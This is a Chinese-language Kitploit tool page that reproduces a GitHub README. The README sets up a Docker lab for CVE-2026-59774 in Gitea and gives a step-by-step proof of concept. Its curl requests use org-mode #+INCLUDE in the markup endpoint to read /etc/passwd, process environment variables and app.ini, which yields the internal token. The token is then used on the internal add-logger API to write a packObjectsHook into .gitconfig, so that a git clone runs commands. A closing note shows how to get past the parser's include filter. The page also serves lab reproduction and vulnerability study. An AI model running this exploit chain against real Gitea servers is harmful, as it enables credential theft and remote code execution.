Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-59774_docker — CVE-2026-59774 | Kitploit
工具/GitHubGitHub/flowerwitch/cve-2026-59774_docker
Vulnerability AnalysisExploitationWeb Application ExploitationLabs & Practice
GitHubflowerwitch/cve-2026-59774_docker

CVE-2026-59774_docker

CVE-2026-59774

查看仓库
112个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-59774_docker

1.拉gitea

git clone https://github.com/FlowerWitch/CVE-2026-59774_docker

cd ./CVE-2026-59774_docker

docker compose up -d

2.初始化

访问gitea

http://localhost:3000/install

3.创建repository

new repository 默认为公开,无需其他配置

image

4.POC

curl -X POST "http://localhost:3000/{username}/{repo}/markup" \                       
  -H "Content-Type: application/json" \
  -d '{
    "Mode": "file",
    "FilePath": "poc.org",
    "Text": "#+INCLUDE: \"/etc/passwd\" src 123\n",
    "Context": "/admin/poc/src/main/"
  }'
image

5.RCE部分

1.首先通过读取 /proc/self/environ 中的 GITEA_CUSTOM 字段,获取到 gitea 数据存放位置

curl -sX POST "http://localhost:3000/admin/poc/markup"  -H "Content-Type: application/json" \
  -d '{
    "Mode": "file",
    "FilePath": "poc.org",
    "Text": "#+INCLUDE: \"/proc/self/environ\" src 123\n",
    "Context": "/admin/poc/src/main/"
  }'|grep 'GITEA_CUSTOM='
image

2.读取 {GITEA_CUSTOM}/conf/app.ini 获取 INTERNAL_TOKEN 与 APP_DATA_PATH 字段

curl -sX POST "http://localhost:3000/{username}/{repo_name}/markup"  -H "Content-Type: application/json" \
  -d '{
    "Mode": "file",
    "FilePath": "poc.org",
    "Text": "#+INCLUDE: \"{GITEA_CUSTOM}/conf/app.ini\" src 123\n",
    "Context": "/admin/poc/src/main/"
  }'|grep -E 'INTERNAL_TOKEN|APP_DATA_PATH' 
image

3.此处写入我找到了 add-logger 接口,当该接口 Mode 为File 时会对本地文件进行追加写入(如目标不存在则会创建对应目录),同时其 logger字段为 router 执行时就会触发一条日志,输出效果相较于 default 好很多(因为不会换行 XD)。通过前者的任意写入,对gitea的 .gitconfig 添加 packObjectsHook 字段以实现匿名clone触发命令执行。

curl -vX POST http://localhost:3000/api/internal/manager/add-logger \
  -H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{
    "Logger": "router",
    "Writer": "pwnhook",
    "Mode": "file",
    "Config":{                                                             
      "filename": "{APP_DATA_PATH}/home/.gitconfig",
      "flags": "none",                                                          
      "prefix": "[uploadpack]\n        packObjectsHook = id > /tmp/pwned ;#", 
      "level": "Info",
      "rotate": false
    }
  }'
image

4.关闭日志句柄,避免后续请求污染后续配置,要用到上面的 logger 和 writer

curl -vX POST /api/internal/manager/remove-logger/{Logger}/{Writer} \
  -H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \
  1. git clone 触发命令执行
image

Example

gg1

注

在 go-org 1.9.1 中的 parseInclude 函数中包含一个正则过滤规则 includeFileRegexp 匹配才可进入到后续函数。

func (d *Document) parseInclude(k Keyword) (int, Node) {
	resolve := func() Node {
		d.Log.Printf("Bad include %#v", k)
		return k
	}
	if m := includeFileRegexp.FindStringSubmatch(k.Value); m != nil {  # <--这里施加了 includeFileRegexp 过滤
		path, kind, lang := m[1], m[2], m[3]
		if !filepath.IsAbs(path) {
			path = filepath.Join(filepath.Dir(d.Path), path)
		}

includeFileRegexp 匹配条件如下

var includeFileRegexp = regexp.MustCompile(`(?i)^"([^"]+)" (src|example|export) (\w+)$`)

故如payload "#+INCLUDE: \"/etc/passwd\"\n" 则无法被正常匹配,构造须符合表达式,如:

"#+INCLUDE: \"/etc/passwd\" src 123\n"
下载工具